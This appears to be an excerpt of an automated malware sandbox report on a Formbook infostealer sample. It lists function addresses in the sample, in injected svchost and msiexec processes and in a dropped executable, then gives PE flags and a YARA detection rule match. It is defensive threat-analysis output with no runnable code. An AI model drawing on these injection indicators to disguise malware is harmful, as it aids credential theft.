Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_04547000	0_2_04547000
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0454AAE8	0_2_0454AAE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004183F3	1_2_004183F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403100	1_2_00403100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042E9D3	1_2_0042E9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402BD0	1_2_00402BD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FC9A	1_2_0040FC9A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FCA3	1_2_0040FCA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004044A4	1_2_004044A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004165D0	1_2_004165D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004165D3	1_2_004165D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FEC3	1_2_0040FEC3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040DF43	1_2_0040DF43
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402770	1_2_00402770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344E310	1_2_0344E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03402245	1_2_03402245
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0350010E	1_2_0350010E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034EE076	1_2_034EE076
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034300A0	1_2_034300A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F6757	1_2_034F6757
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344A760	1_2_0344A760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03442760	1_2_03442760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03464670	1_2_03464670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345C600	1_2_0345C600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FA6C0	1_2_034FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343C6E0	1_2_0343C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440680	1_2_03440680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0350A526	1_2_0350A526
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440445	1_2_03440445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440B10	1_2_03440B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B4BC0	1_2_034B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FEA5B	1_2_034FEA5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FCA13	1_2_034FCA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343E9A0	1_2_0343E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FE9A6	1_2_034FE9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03426868	1_2_03426868
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0346E810	1_2_0346E810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0835	1_2_034E0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034428C0	1_2_034428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03456882	1_2_03456882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DC89F	1_2_034DC89F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344CF00	1_2_0344CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03446FE0	1_2_03446FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FEFBF	1_2_034FEFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03482E48	1_2_03482E48
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03460E50	1_2_03460E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E0E6D	1_2_034E0E6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03432EE8	1_2_03432EE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F0EAD	1_2_034F0EAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03440D69	1_2_03440D69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0343AD00	1_2_0343AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03452DB0	1_2_03452DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034EEC4C	1_2_034EEC4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F6C69	1_2_034F6C69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FEC60	1_2_034FEC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03430C12	1_2_03430C12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344AC20	1_2_0344AC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BEC20	1_2_034BEC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03458CDF	1_2_03458CDF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0350ACEB	1_2_0350ACEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FF330	1_2_034FF330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03431380	1_2_03431380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F124C	1_2_034F124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342D2EC	1_2_0342D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0348717A	1_2_0348717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0342F113	1_2_0342F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DD130	1_2_034DD130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034451C0	1_2_034451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345B1E0	1_2_0345B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0344B0D0	1_2_0344B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F70F1	1_2_034F70F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0347508C	1_2_0347508C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034ED646	1_2_034ED646
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DD62C	1_2_034DD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034E1623	1_2_034E1623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B36EC	1_2_034B36EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FF6F6	1_2_034FF6F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FF5C9	1_2_034FF5C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F75C6	1_2_034F75C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034AD480	1_2_034AD480
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D5490	1_2_034D5490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0347DB19	1_2_0347DB19
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FFB2E	1_2_034FFB2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D1B80	1_2_034D1B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FFA89	1_2_034FFA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345FAA0	1_2_0345FAA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034859C0	1_2_034859C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034099E8	1_2_034099E8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03449870	1_2_03449870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345B870	1_2_0345B870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B5870	1_2_034B5870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FF872	1_2_034FF872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03443800	1_2_03443800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F18DA	1_2_034F18DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F78F3	1_2_034F78F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034B98B2	1_2_034B98B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034BFF40	1_2_034BFF40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FFF63	1_2_034FFF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F1FC6	1_2_034F1FC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F9ED2	1_2_034F9ED2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03441EB2	1_2_03441EB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034F7D4C	1_2_034F7D4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034FFD27	1_2_034FFD27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03449DD0	1_2_03449DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034DFDF4	1_2_034DFDF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03443C60	1_2_03443C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034C7CE8	1_2_034C7CE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0345FCE0	1_2_0345FCE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034D9C98	1_2_034D9C98
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C2834	2_2_015C2834
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015E32C4	2_2_015E32C4
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C4594	2_2_015C4594
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015B8D95	2_2_015B8D95
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C458B	2_2_015C458B
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015CCCE4	2_2_015CCCE4
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C47B4	2_2_015C47B4
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015C9644	2_2_015C9644
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015CAEC4	2_2_015CAEC4
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_015CAEC1	2_2_015CAEC1
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537FFD3	2_2_0537FFD3
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537FFD0	2_2_0537FFD0
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_053796A3	2_2_053796A3
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_0537969A	2_2_0537969A
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_05377943	2_2_05377943
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_053798C3	2_2_053798C3
Source: C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe	Code function: 2_2_053983D3	2_2_053983D3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0527A526	3_2_0527A526
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B0445	3_2_051B0445
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05266757	3_2_05266757
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051BA760	3_2_051BA760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B2760	3_2_051B2760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051CC600	3_2_051CC600
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051D4670	3_2_051D4670
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B0680	3_2_051B0680
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526A6C0	3_2_0526A6C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051AC6E0	3_2_051AC6E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0527010E	3_2_0527010E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0525E076	3_2_0525E076
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051A00A0	3_2_051A00A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051BE310	3_2_051BE310
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05172245	3_2_05172245
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051AAD00	3_2_051AAD00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B0D69	3_2_051B0D69
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051C2DB0	3_2_051C2DB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0522EC20	3_2_0522EC20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051A0C12	3_2_051A0C12
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051BAC20	3_2_051BAC20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526EC60	3_2_0526EC60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05266C69	3_2_05266C69
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0525EC4C	3_2_0525EC4C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051C8CDF	3_2_051C8CDF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0527ACEB	3_2_0527ACEB
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051BCF00	3_2_051BCF00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526EFBF	3_2_0526EFBF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B6FE0	3_2_051B6FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05250E6D	3_2_05250E6D
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051D0E50	3_2_051D0E50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051F2E48	3_2_051F2E48
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05260EAD	3_2_05260EAD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051A2EE8	3_2_051A2EE8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526E9A6	3_2_0526E9A6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051AE9A0	3_2_051AE9A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051DE810	3_2_051DE810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05250835	3_2_05250835
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05196868	3_2_05196868
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051C6882	3_2_051C6882
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0524C89F	3_2_0524C89F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B28C0	3_2_051B28C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B0B10	3_2_051B0B10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05224BC0	3_2_05224BC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526CA13	3_2_0526CA13
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526EA5B	3_2_0526EA5B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05252AC0	3_2_05252AC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051F5550	3_2_051F5550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052675C6	3_2_052675C6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526F5C9	3_2_0526F5C9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0521D480	3_2_0521D480
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05245490	3_2_05245490
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05251623	3_2_05251623
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0524D62C	3_2_0524D62C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0525D646	3_2_0525D646
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052236EC	3_2_052236EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526F6F6	3_2_0526F6F6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0519F113	3_2_0519F113
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0524D130	3_2_0524D130
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05279143	3_2_05279143
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051F717A	3_2_051F717A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B51C0	3_2_051B51C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051CB1E0	3_2_051CB1E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E508C	3_2_051E508C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051BB0D0	3_2_051BB0D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052670F1	3_2_052670F1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526F330	3_2_0526F330
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051A1380	3_2_051A1380
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526124C	3_2_0526124C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0519D2EC	3_2_0519D2EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526FD27	3_2_0526FD27
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05263D22	3_2_05263D22
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05267D4C	3_2_05267D4C
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B9DD0	3_2_051B9DD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0524FDF4	3_2_0524FDF4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B3C60	3_2_051B3C60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05249C98	3_2_05249C98
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05237CE8	3_2_05237CE8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051CFCE0	3_2_051CFCE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526FF63	3_2_0526FF63
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0522FF40	3_2_0522FF40
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05253FA0	3_2_05253FA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05261FC6	3_2_05261FC6
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B1EB2	3_2_051B1EB2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05269ED2	3_2_05269ED2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051F59C0	3_2_051F59C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051799E8	3_2_051799E8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B3800	3_2_051B3800
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05225870	3_2_05225870
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526F872	3_2_0526F872
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051B9870	3_2_051B9870
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051CB870	3_2_051CB870
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052298B2	3_2_052298B2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052678F3	3_2_052678F3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_052618DA	3_2_052618DA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051EDB19	3_2_051EDB19
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526FB2E	3_2_0526FB2E
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_05241B80	3_2_05241B80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_0526FA89	3_2_0526FA89
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051CFAA0	3_2_051CFAA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CEEFE	3_2_054CEEFE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CE4AD	3_2_054CE4AD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CD748	3_2_054CD748
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CE6DC	3_2_054CE6DC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CE343	3_2_054CE343
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CE224	3_2_054CE224
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CC9E3	3_2_054CC9E3

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03487BE4 appears 101 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034AE692 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034BEF10 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03475050 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0342B910 appears 275 times
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: String function: 0040E6D0 appears 35 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 051E5050 appears 58 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0522EF10 appears 105 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 051F7BE4 appears 111 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0519B910 appears 280 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0521E692 appears 86 times

Source: p4rsJEIb7k.exe, 00000000.00000003.4327019782.0000000004EDD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs p4rsJEIb7k.exe
Source: p4rsJEIb7k.exe, 00000000.00000003.4319939147.0000000004D33000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs p4rsJEIb7k.exe

Source: p4rsJEIb7k.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
